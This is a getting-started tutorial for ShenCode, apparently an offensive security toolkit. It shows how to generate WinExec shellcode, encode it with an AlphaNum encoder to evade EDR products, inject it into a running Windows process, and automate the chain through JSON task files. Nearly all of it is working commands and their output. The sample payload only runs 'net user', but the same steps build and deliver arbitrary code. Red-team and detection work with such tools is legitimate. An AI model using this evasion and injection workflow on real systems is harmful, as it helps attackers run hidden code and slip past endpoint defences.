ShenCode - Getting Started
This tutorial demonstrates the first steps with ShenCode.
- Installation
- Generating Shellcode
- Analyzing Code
- Using Encoders
- Local Shellcode Injection
- Automation
- Interactive
Installation
To install ShenCode with all its dependencies, just a few commands are sufficient:
Download Repository
git clone https://github.com/psycore8/shencode
cd shencodeCreate and Activate Virtual Environment
Windows
python -m venv .venv
.venv\bin\activateLinux
python -m venv .venv
source .venv/bin/activateInstall Dependencies
pip install .It is recommended to install NASM or copy the standalone binary into the ShenCode directory to enable shellcode compilation.
General Help
General help can be accessed via -h or --help:
shencode -h
usage: shencode.py [-h] [--config CONFIG] {core,dev,encoder,inject,obfuscate,payload,stager} ...
dynamic module parser
positional arguments:
{core,dev,encoder,inject,obfuscate,payload,stager}
Available modules
core core group
encoder encoder group
inject inject group
obfuscate obfuscate group
payload payload group
stager stager groupGenerating Shellcode
After installation, we can generate our first shellcode using the payload/winexec module. This module creates a shellcode that passes a user-defined command to the WinExec function. Let’s check the module’s help:
shencode payload winexec -h
winexec [-h] -c COMMAND_LINE -o OUTPUT [-d] [-r]
Generate a dynamic WinExec shellcode
options:
-h, --help show this help message and exit
-c, --command-line Command to execute with WinExec
-o, --output Output file
additional:
-d, --debug Save nasm code only
-r, --random-label Rename jump labels into random wordsFor basic shellcode, the arguments --command-line and --output are essential. Suppose we want to execute cmd /k net user and save the shellcode as netuser.bin, the command would be:
shencode payload winexec --command-line="cmd /k net user" --output netuser.binThis will generate the netuser.bin file.
Analyzing Code
Now let’s take a look at the generated file:
shencode core output --input netuser.bin --syntax inspect
Null bytes are automatically highlighted in red.
You can also search for specific byte sequences, which will be highlighted in light blue:
shencode core output --input netuser.bin --syntax inspect --highlight="e5 48 83"
Using Encoders
ShenCode includes several encoders that obfuscate shellcodes to bypass EDR solutions. Essentially, the existing shellcode is encrypted and a decoder stub is prepended to decrypt it in memory. Here, we use the AlphaNum encoder, which transforms all bytes into printable characters. This prevents null bytes, though it increases size:
shencode encoder alphanum --input netuser.bin --output netuser_encoded.bin --compileSince each byte becomes two characters and a decoder stub is appended, the output is more than twice the size. Let’s check for null bytes:
shencode core output --input netuser_encoded.bin --syntax inspectAs expected, none are present — perfect.
Local Shellcode Injection
Now it’s time to test the shellcode. We’ll inject it into a local process and verify it runs as expected (this should ideally be done in a test environment). We’ll use the basic injector inject/injection, targeting winver.exe and instructing it to start:
shencode inject injection --input netuser_encoded.bin --process winver.exe --start-process
If everything works correctly, a new command prompt window opens listing the current Windows users — the shellcode was injected successfully.
Automation
ShenCode allows the creation of tasks to automate repetitive operations. These tasks are defined in a JSON file that passes parameters to the appropriate modules. The tasks are executed step by step. Based on previous steps, we’ll now automate the workflow. Which modules did we use?
shencode payload winexec --command-line="cmd /k net user" --output netuser.bin
shencode encoder alphanum --input netuser.bin --output netuser_encoded.bin --compile
shencode core output --input netuser_encoded.bin --syntax inspect
shencode inject injection --input netuser_encoded.bin --process winver.exe --start-processWe need the appropriate parameters for each module. These can be found in the ShenCode Wiki
| Module | Arguments | Values | Type |
|---|---|---|---|
| winexec | command_line | process param | str |
| output | outputfile | str | |
| random_label | true, false | bool | |
| alphanum | input, output | filename | str |
| compile, decode | true, false | bool | |
| output | input, output | filename | str |
| syntax | syntax | str | |
| decimal, lines, no_line_break | true, false | bool | |
| range | 0, 0 | list | |
| bytes_per_row | 16 | int | |
| injection | input, process | filename, processname | str |
| start_process, resume_thread, virtual_protect | true, false | bool | |
| shellcode | null (internal use) | none |
Using this information, we can now create a task file to automate the previous steps. The general structure of a task JSON file is described in the Task Engine module. A ready-to-use task example can be found in the github repository
To execute it, only a single command is required:
shencode core task --input started.jsonInteractive
The interactive mode allows to set up modules in a guided shell. To start in interactive mode, use this command:
shencode --interactiveNow you can use the interactive command shell:
shencode$ help
...
shencode$ load output
shencode::core::output$ options
Option Value Help
------------------------------------------------------------------------------------------------------------------
input None Input file or buffer for formatted output
syntax Formatting the shellcode in C, Casm, C#, Powershell, python or hex
bytes_per_row 16 Define how many bytes per row will be displayed
...
shencode::core::output$ set syntax c
...
shencode::core::output$ config save
shencode::core::output$ run
[MODOUT]-[0.2.4]
[*] Input File: dev\calc.raw
[#] File Hash: 7c1bb19fe6606cfe29e750326db2972c4743e623
[*] processing shellcode format... NoLineBreak: False
"\x55\x48\x89\xe5\x48\x83\xec\x40\x48\x31\xc0\x48\x89\x45\xf8\x48"
...